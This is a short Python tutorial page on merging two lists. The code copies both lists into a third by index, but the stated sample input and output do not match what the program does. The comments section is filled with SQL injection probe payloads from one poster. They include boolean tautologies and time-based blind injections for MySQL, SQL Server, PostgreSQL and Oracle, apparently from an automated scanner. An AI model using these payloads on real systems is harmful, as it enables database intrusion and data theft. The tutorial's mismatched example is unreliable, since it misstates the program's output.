merging two lists in python

Python Program to get two lists and merge them into single list.

Sample Input 1:

3 5 4 2 4 9 7 6 3

Sample Output 1:

5 4 2 9 7 6 3

Program or Solution

				
			
					
l1=list(map(int,input("Enter Numbers:").split()))
l2=list(map(int,input("Enter Numbers:").split()))
l3=[None]* (len(l1)+len(l2))
k=0
for i in range(0,len(l1)):
    l3[k]=l1[i]
    k+=1

for i in range(0,len(l2)):
    l3[k]=l2[i]
    k+=1

print(l3)

			
				
			

Program Explanation

Create a new list with size of size of a list + size of b list. l3 = len(l1) + len(l2) visit elements of list l1 and store it in l3. l3[k]=l1[i] visit elements of list l2 and store it in l3. l3[k]=l2[i]

Comments

ubaTaeCJ
-1 OR 2+227-227-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3+227-227-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3*2<(0+5+227-227) --
ubaTaeCJ
-1 OR 3*2>(0+5+227-227) --
ubaTaeCJ
-1 OR 2+354-354-1=0+0+0+1
ubaTaeCJ
-1 OR 3+354-354-1=0+0+0+1
ubaTaeCJ
-1 OR 3*2<(0+5+354-354)
ubaTaeCJ
-1 OR 3*2>(0+5+354-354)
ubaTaeCJ
-1' OR 2+11-11-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3+11-11-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3*2<(0+5+11-11) --
ubaTaeCJ
-1' OR 3*2>(0+5+11-11) --
ubaTaeCJ
-1' OR 2+838-838-1=0+0+0+1 or 'VAAXFyFS'='
ubaTaeCJ
-1' OR 3+838-838-1=0+0+0+1 or 'VAAXFyFS'='
ubaTaeCJ
-1' OR 3*2<(0+5+838-838) or 'VAAXFyFS'='
ubaTaeCJ
-1' OR 3*2>(0+5+838-838) or 'VAAXFyFS'='
ubaTaeCJ
-1" OR 2+942-942-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3+942-942-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3*2<(0+5+942-942) --
ubaTaeCJ
-1" OR 3*2>(0+5+942-942) --
ubaTaeCJ
if(now()=sysdate(),sleep(15),0)
ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
ubaTaeCJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
ubaTaeCJ
-1; waitfor delay '0:0:15' --
ubaTaeCJ
-1); waitfor delay '0:0:15' --
ubaTaeCJ
1 waitfor delay '0:0:15' --
ubaTaeCJ
cVMt4s4n'; waitfor delay '0:0:15' --
ubaTaeCJ
-5 OR 60=(SELECT 60 FROM PG_SLEEP(15))--
ubaTaeCJ
-5) OR 671=(SELECT 671 FROM PG_SLEEP(15))--
ubaTaeCJ
-1)) OR 512=(SELECT 512 FROM PG_SLEEP(15))--
ubaTaeCJ
tQphGdWf' OR 60=(SELECT 60 FROM PG_SLEEP(15))--
ubaTaeCJ
VmVJlDk8') OR 775=(SELECT 775 FROM PG_SLEEP(15))--
ubaTaeCJ
U76mRYZK')) OR 107=(SELECT 107 FROM PG_SLEEP(15))--
ubaTaeCJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ubaTaeCJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ubaTaeCJ
1'"
ubaTaeCJ
@@Zm0SQ